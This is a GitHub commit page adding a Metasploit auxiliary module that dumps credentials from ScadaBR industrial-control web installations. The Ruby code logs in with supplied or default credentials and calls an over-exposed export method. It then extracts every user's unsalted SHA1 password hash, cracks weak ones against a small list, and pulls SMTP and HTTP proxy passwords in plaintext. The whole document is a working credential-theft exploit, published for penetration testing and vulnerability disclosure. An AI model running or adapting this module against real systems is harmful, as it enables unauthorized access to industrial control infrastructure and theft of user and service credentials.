Skip to content

Commit 8fce94b

Browse files
committed
Add ScadaBR Credentials Dumper module
1 parent 59ab73b commit 8fce94b

File tree

1 file changed

+207
-0
lines changed

1 file changed

+207
-0
lines changed
Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'ScadaBR Credentials Dumper',
13+
'Description' => %q{
14+
This module retrieves credentials from ScadaBR, including
15+
service credentials and unsalted SHA1 password hashes for
16+
all users, by invoking the 'EmportDwr.createExportData' DWR
17+
method of Mango M2M which is exposed to all authenticated
18+
users regardless of privilege level.
19+
20+
This module has been tested successfully with ScadaBR
21+
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
22+
},
23+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
24+
'License' => MSF_LICENSE,
25+
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
26+
'Targets' => [[ 'Automatic', {} ]],
27+
'DisclosureDate' => 'May 28 2017'))
28+
register_options(
29+
[
30+
Opt::RPORT(8080),
31+
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
32+
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
33+
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ])
34+
])
35+
end
36+
37+
def login(user, pass)
38+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'),
39+
'method' => 'POST',
40+
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
41+
'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'),
42+
'password' => Rex::Text.uri_encode(pass, 'hex-normal') }
43+
44+
unless res
45+
fail_with Failure::Unreachable, "#{peer} Connection failed"
46+
end
47+
48+
if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/
49+
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
50+
print_good "#{peer} Authenticated successfully as '#{user}'"
51+
else
52+
fail_with Failure::NoAccess, "#{peer} Authentication failed"
53+
end
54+
end
55+
56+
def export_data
57+
params = 'callCount=1',
58+
"page=#{target_uri.path}/emport.shtm",
59+
"httpSessionId=#{@cookie}",
60+
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
61+
'c0-scriptName=EmportDwr',
62+
'c0-methodName=createExportData',
63+
'c0-id=0',
64+
'c0-param0=string:3',
65+
'c0-param1=boolean:true',
66+
'c0-param2=boolean:true',
67+
'c0-param3=boolean:true',
68+
'c0-param4=boolean:true',
69+
'c0-param5=boolean:true',
70+
'c0-param6=boolean:true',
71+
'c0-param7=boolean:true',
72+
'c0-param8=boolean:true',
73+
'c0-param9=boolean:true',
74+
'c0-param10=boolean:true',
75+
'c0-param11=boolean:true',
76+
'c0-param12=boolean:true',
77+
'c0-param13=boolean:true',
78+
'c0-param14=boolean:true',
79+
'c0-param15=boolean:true',
80+
'c0-param16=string:100',
81+
'c0-param17=boolean:true',
82+
'batchId=1'
83+
84+
uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'
85+
res = send_request_cgi 'uri' => uri,
86+
'method' => 'POST',
87+
'cookie' => "JSESSIONID=#{@cookie}",
88+
'ctype' => 'text/plain',
89+
'data' => params.join("\n")
90+
91+
unless res
92+
fail_with Failure::Unreachable, "#{peer} Connection failed"
93+
end
94+
95+
unless res.body =~ /dwr.engine._remoteHandleCallback/
96+
fail_with Failure::UnexpectedReply, "#{peer} Export failed."
97+
end
98+
99+
config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
100+
print_good "#{peer} Export successful (#{config_data.length} bytes)"
101+
102+
begin
103+
return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"'))
104+
rescue
105+
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
106+
end
107+
end
108+
109+
def run
110+
login datastore['USERNAME'], datastore['PASSWORD']
111+
112+
json = export_data
113+
114+
service_data = { address: rhost,
115+
port: rport,
116+
service_name: (ssl ? 'https' : 'http'),
117+
protocol: 'tcp',
118+
workspace_id: myworkspace_id }
119+
120+
columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail'
121+
user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials',
122+
'Indent' => 1,
123+
'Columns' => columns
124+
125+
if json['users'].empty?
126+
print_error 'Found no user data'
127+
else
128+
print_good "Found #{json['users'].length} users"
129+
end
130+
131+
json['users'].each do |user|
132+
next if user['username'].eql?('')
133+
134+
username = user['username']
135+
admin = user['admin']
136+
mail = user['email']
137+
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
138+
pass = nil
139+
140+
weak_passwords = '12345', 'admin', 'password', 'scada', 'scadabr', username, mail.split('@').first
141+
weak_passwords.each do |weak_password|
142+
if hash.eql? Rex::Text.sha1(weak_password)
143+
pass = weak_password
144+
break
145+
end
146+
end
147+
148+
user_cred_table << [username, pass, hash, admin, mail]
149+
150+
if pass
151+
print_status "Found weak credentials (#{username}:#{pass})"
152+
creds = { origin_type: :service,
153+
module_fullname: self.fullname,
154+
private_type: :password,
155+
private_data: pass,
156+
username: user }
157+
else
158+
creds = { origin_type: :service,
159+
module_fullname: self.fullname,
160+
private_type: :nonreplayable_hash,
161+
private_data: hash,
162+
username: user }
163+
end
164+
165+
creds.merge! service_data
166+
credential_core = create_credential creds
167+
login_data = { core: credential_core,
168+
access_level: (admin ? 'Admin' : 'User'),
169+
status: Metasploit::Model::Login::Status::UNTRIED }
170+
login_data.merge! service_data
171+
create_credential_login login_data
172+
end
173+
174+
columns = 'Service', 'Host', 'Port', 'Username', 'Password'
175+
service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials',
176+
'Indent' => 1,
177+
'Columns' => columns
178+
179+
system_settings = json['systemSettings'].first
180+
181+
unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('')
182+
smtp_host = system_settings['emailSmtpHost']
183+
smtp_port = system_settings['emailSmtpPort']
184+
smtp_user = system_settings['emailSmtpUsername']
185+
smtp_pass = system_settings['emailSmtpPassword']
186+
vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}"
187+
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
188+
end
189+
190+
unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('')
191+
proxy_host = system_settings['httpClientProxyServer']
192+
proxy_port = system_settings['httpClientProxyPort']
193+
proxy_user = system_settings['httpClientProxyUsername']
194+
proxy_pass = system_settings['httpClientProxyPassword']
195+
vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}"
196+
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
197+
end
198+
199+
print_line
200+
print_line user_cred_table.to_s
201+
print_line
202+
print_line service_cred_table.to_s
203+
204+
path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings'
205+
print_good "Config saved in: #{path}"
206+
end
207+
end

0 commit comments

Comments
 (0)